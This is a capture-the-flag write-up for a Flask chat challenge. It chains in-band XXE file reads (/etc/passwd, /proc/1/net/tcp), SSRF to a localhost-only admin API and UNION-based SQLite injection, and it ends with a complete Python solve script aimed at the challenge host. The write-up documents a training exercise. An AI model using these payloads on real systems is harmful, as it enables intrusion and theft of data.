4chat
4chat
Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-03 | Status: Solved Techniques: idor_enumeration, in_band_xxe_file_read, localhost_admin_bypass_via_ssrf, proc_net_tcp_port_discovery, ssrf_http_entity, union_based_sql_injection
Summary
Task: Flask terminal-UI chat with an lxml XML settings parser (XXE sink), a localhost-only /admin API, and an SQLite backend. Solution: in-band XXE reads /proc/1/net/tcp to discover the internal listen port (8000) behind Docker NAT, then SSRF via an http:// external entity hits the localhost-gated /admin/api/search_user, where a UNION-based SQLi on the id parameter dumps the secret table flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackerlab| ID:20260603_hackerlab_4chat - Tags: sqlite, SQLi, flask, ssrf, idor, werkzeug, union_based_sqli, xxe, lxml, in_band_xxe, libxml2, docker_nat, multi_stage_chain
- Indicators: lxml/libxml2 XML settings parser reflects parsed text in <pre>, admin route restricted to localhost (request.remote_addr) returns 403, external Docker NAT port differs from internal listen port, /admin/api/search_user?id= numeric IDOR lookup, SQLite sqlite_master leaks table schema
- Source:
20260603_hackerlab_4chat.md
Foothold
Vulnerability / Misconfiguration
- Idor_enumeration
- In_band_xxe_file_read
- Localhost_admin_bypass_via_ssrf
- Proc_net_tcp_port_discovery
- Ssrf_http_entity
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- idor_enumeration
- in_band_xxe_file_read
- localhost_admin_bypass_via_ssrf
- proc_net_tcp_port_discovery
- ssrf_http_entity
- union_based_sql_injection
- Tags: sqlite, SQLi, flask, ssrf, idor, werkzeug, union_based_sqli, xxe, lxml, in_band_xxe, libxml2, docker_nat, multi_stage_chain
Original Writeup
<details><summary>Click to expand original content</summary>Description
Никакого GUI, только ты, клавиатура и немного ностальгии.
(No GUI, just you, the keyboard, and a bit of nostalgia.)
A Flask application with a retro green-on-black terminal UI. You register/login
via typed command=/login <user> <pass> lines, post to a /chat, and edit a
profile via /settings, which parses an XML <settings> blob with lxml. The
in-chat hints were "в начале там xxe" (XXE at the start) and "прикольная
цепочка" (a cool chain) — i.e. a multi-stage XXE chain leading to the flag.
Target: http://62.173.140.174:16084 (Flask, Werkzeug/3.0.6, Python 3.8.20,
lxml/libxml2 2.8.0, SQLite). Runs as root, PID 1, inside Docker; the DB resets
periodically (users wiped), so a fresh user must be registered each run.
Analysis
App surface:
/login— POSTcommand=/login <user> <pass>orcommand=/register <user> <pass> <confirm>. Session is a Flask-signed cookie{"username":"..."}./chat— terminal that only stores/echoes messages per user. Red herring: no server-side command handling./settings— POSTxmldata=<settings><profession>...</profession></settings>, parsed by lxml. The parsed<profession>text is reflected back inside a<pre>"Current profession" block. This is the XXE sink. The value is stored per-user and only updates on a successful parse./admin→ 308 →/admin/→ 403 Forbidden, gated to localhost viarequest.remote_addr. Not bypassable by usernameadmin,X-Forwarded-For/X-Real-IPspoofing, params, cookies, or headers./static/style.css— real static file.
XXE primitive (confirmed)
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <settings><profession>&xxe;</profession></settings>
reflects /etc/passwd in the <pre> block. Constraints of this in-band
read (lxml is strict, no recover):
- Files containing
<break the parse → profession keeps its old value (soapp.py, templates,*.htmlare unreadable). - Files with NUL bytes (
cmdline,environ,*.db,*.so) fail/truncate. - General HTTP external entities also reflect the response body in-band when the response contains no
<(e.g.SYSTEM "http://icanhazip.com"returns the egress IP). - Parameter-entity / OOB exfil does not work (PE-declared entities are not expanded) — so classic blind-OOB is dead, but in-band file/HTTP read is enough.
&inside aSYSTEMURL must be XML-escaped as&.
Solution
The chain has three pivots: discover the real internal port, SSRF past the localhost admin gate, then UNION-SQLi the admin API.
1. Internal port discovery via /proc/1/net/tcp
SSRF to the app's own external IP/port (62.173.140.174:16084) deadlocks
(single-threaded Werkzeug + Docker NAT hairpin), and 127.0.0.1:16084 is
connection-refused. The breakthrough: read the listening sockets directly.
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///proc/1/net/tcp">]> <settings><profession>&xxe;</profession></settings>
The local-address column showed 0.0.0.0:0x1F40 = port 8000. External
:16084 is just the Docker port mapping to container :8000. This is the
single fact that unblocked everything.
2. Admin gate bypass via SSRF to the internal port
The /admin/ route checks request.remote_addr == localhost, but an XXE-driven
HTTP request originates from the server itself. Hitting the internal port returns
JSON (no <, so it reflects in-band) that self-documents the API:
<!DOCTYPE r [<!ENTITY xxe SYSTEM "http://127.0.0.1:8000/admin/">]>
/admin/→["/admin/api/"]/admin/api/→["/admin/api/search_user"]/admin/api/search_user?id=1→{"username":"..."}← IDOR: fetch user by numeric id
3. UNION-based SQL injection in the id parameter
The id parameter is injected into a single-column SQLite query.
-1 UNION SELECT group_concat(name) FROM sqlite_master WHERE type='table'
-> users,messages,secret
-1 UNION SELECT group_concat(sql,'||') FROM sqlite_master
-> CREATE TABLE users (username TEXT PRIMARY KEY, password TEXT, profession TEXT)
|| CREATE TABLE messages (username TEXT, message TEXT)
|| CREATE TABLE secret (flag TEXT)
-1 UNION SELECT flag FROM secret
-> CODEBY{REDACTED}
Working request shape
Register + login a throwaway user first (DB resets). The whole URL goes into the
entity SYSTEM literal; & → &, and URL-encode the SQL payload's spaces:
xmldata=<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM
"http://127.0.0.1:8000/admin/api/search_user?id=-1 UNION SELECT flag FROM secret">]>
<settings><profession>&xxe;</profession></settings>
Read the reflected JSON from the <pre> "Current profession" block.
#!/usr/bin/env python3
# 4chat solve — XXE -> SSRF (internal port 8000) -> /admin IDOR -> UNION SQLi
import re, requests
from urllib.parse import quote
BASE = "http://62.173.140.174:16084"
U, P = "solver123", "solver123"
s = requests.Session()
# DB resets periodically -> (re)register, then login
s.post(f"{BASE}/login", data={"command": f"/register {U} {P} {P}"})
s.post(f"{BASE}/login", data={"command": f"/login {U} {P}"})
def xxe(system_uri):
# '&' must be XML-escaped inside the SYSTEM literal
uri = system_uri.replace("&", "&")
payload = (
'<?xml version="1.0"?>'
f'<!DOCTYPE r [<!ENTITY xxe SYSTEM "{uri}">]>'
'<settings><profession>&xxe;</profession></settings>'
)
r = s.post(f"{BASE}/settings", data={"xmldata": payload})
m = re.search(r"Current profession.*?<pre>(.*?)</pre>", r.text, re.S)
return (m.group(1).strip() if m else r.text)
# 1. confirm internal listen port (hex 0x1F40 == 8000)
print("tcp:", xxe("file:///proc/1/net/tcp")[:200])
# 2. SSRF to internal admin API -> UNION SQLi for the flag
sql = "-1 UNION SELECT flag FROM secret"
url = "http://127.0.0.1:8000/admin/api/search_user?id=" + quote(sql)
print("FLAG:", xxe(url))
Lessons / Dead ends
- SECRET_KEY brute (flask-unsign) with default + common-10k + names + full rockyou FAILED — cookie forgery was not the path (unlike the sibling challenge "Privileged Guest"). The key was not weak.
- Brute-forcing the app source dir (~50k+
file://path guesses to grabapp.py) was wasted effort; reading the source was never required, and files with<are unreadable in-band anyway. - OOB / parameter-entity exfil is dead here (PE-declared entities not expanded) — but in-band file/HTTP read is sufficient.
- The decisive realization: the internal listen port (8000) differs from the external NAT port (16084). Reading
/proc/1/net/tcpexposed it and unblocked the whole chain.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR